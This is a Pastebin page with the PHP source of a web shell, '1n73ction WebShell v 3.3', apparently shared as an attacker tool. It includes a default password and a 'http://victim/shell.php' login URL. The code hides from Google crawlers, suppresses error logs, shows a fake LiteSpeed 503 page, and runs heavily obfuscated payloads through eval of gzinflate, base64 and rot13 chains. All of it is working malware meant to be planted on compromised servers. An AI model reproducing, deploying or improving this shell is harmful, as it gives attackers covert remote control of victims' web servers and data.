CaFc_Versace

1n73ction WebShell v 3.3 (with Secure Login)

Nov 3rd, 2013
925
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.00 KB | None | 0 0
  1. <?php
  2. /*
  3.   1n73ction WebShell v 3.3
  4.   ------------------------------------
  5.   with Secure Login
  6.   by CaFc Versace
  7.   ------------------------------------
  8.   Default PW : Agency_CaFc
  9.   ------------------------------------
  10.   How to Login ?
  11.   http://victim/shell.php?Agency_CaFc
  12. */
  13.  
  14. $auth_pass      = "bdc9799dbd90d7196f2e1bd3c9188b40";
  15. $color          = "#00ff00";
  16. $default_action = 'FilesMan';
  17. @define('SELF_PATH', __FILE__);
  18. if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
  19.     header('HTTP/1.0 503 Service Unavailable ');
  20.     exit;
  21. }
  22. @session_start();
  23. @error_reporting(0);
  24. @ini_set('error_log', NULL);
  25. @ini_set('log_errors', 0);
  26. @ini_set('html_errors', 0);
  27. @ini_set('max_execution_time', 0);
  28. @ini_set('output_buffering', 0);
  29. @ini_set('display_errors', 0);
  30. @ini_set('file_uploads', 1);
  31. @set_time_limit(0);
  32. @set_magic_quotes_runtime(0);
  33. @clearstatcache();
  34. @define('VERSION', '2.1');
  35. if (get_magic_quotes_gpc()) {
  36.     function stripslashes_array($array)
  37.     {
  38.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  39.     }
  40.     $_POST = stripslashes_array($_POST);
  41. }
  42. function printLogin()
  43. {
  44. ?>
  45.  
  46. <html>
  47.   <head>
  48.     <title>
  49.       503 Service Unavailable
  50.     </title>
  51.   </head>
  52.   <body>
  53.     <h1>
  54.       503 Service Unavailable
  55.     </h1>
  56.     The server is temporarily busy, try again later!
  57.     <hr />
  58.     Powered By
  59.     <a href='http://www.litespeedtech.com'>
  60.       LiteSpeed Web Server
  61.     </a>
  62.     <br />
  63.     <font face="Verdana, Arial, Helvetica" size=-1>
  64.       LiteSpeed Technologies is not responsible for administration and contents of this web site!
  65.     </font>
  66.   </body>
  67. </html>
  68.  
  69. <?php
  70.     preg_replace("/.*/e", "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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'\x29\x29\x29\x3B", "");
  71. ?>
  72.  
  73. <?php
  74.     exit;
  75. }
  76. if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  77.     if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)))
  78.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  79.     else
  80.         printLogin();
  81. @ini_set('output_buffering', 0);
  82. @ini_set('display_errors', 0);
  83. function x($inject)
  84. {
  85.     eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");
  86. }
  87. x("BcE3YoMwAADAB2kAgWlDBno1EGPqJlpM7yD8+txdhixbWdYG6SMldp4J4kLWvfC1U2yWq5kslWZh36fVlJz3jTUABzwDQRitR6PvfW8zIUXQt57As9KGKl28fA9X5J+bIZoYoeSOhXu97M7c1NN7W1D7HvzwDmJ2lvVnMaKT/pppJaIG9YzFKt2HOBJuBI5g/6kKnIwZti+JlH6B+GmuwHWwMubr2U6pFF8bxmvAz8RgHmwkL1VVtHftZw3lXTprs+jZ12GwNBVu3io/kSTI/ZbjtMC7SMeAj8CipweDp4m8Db8pnEgrltqdc7MNASA7AbuReO27JKcptyh9WZ9SVcUJvl9lD5F20ejQP22XoxM+F6hnwjbbDDWQgM5HFbjRzz8=");
  88. ?>
Advertisement
Add Comment
Please, Sign In to add comment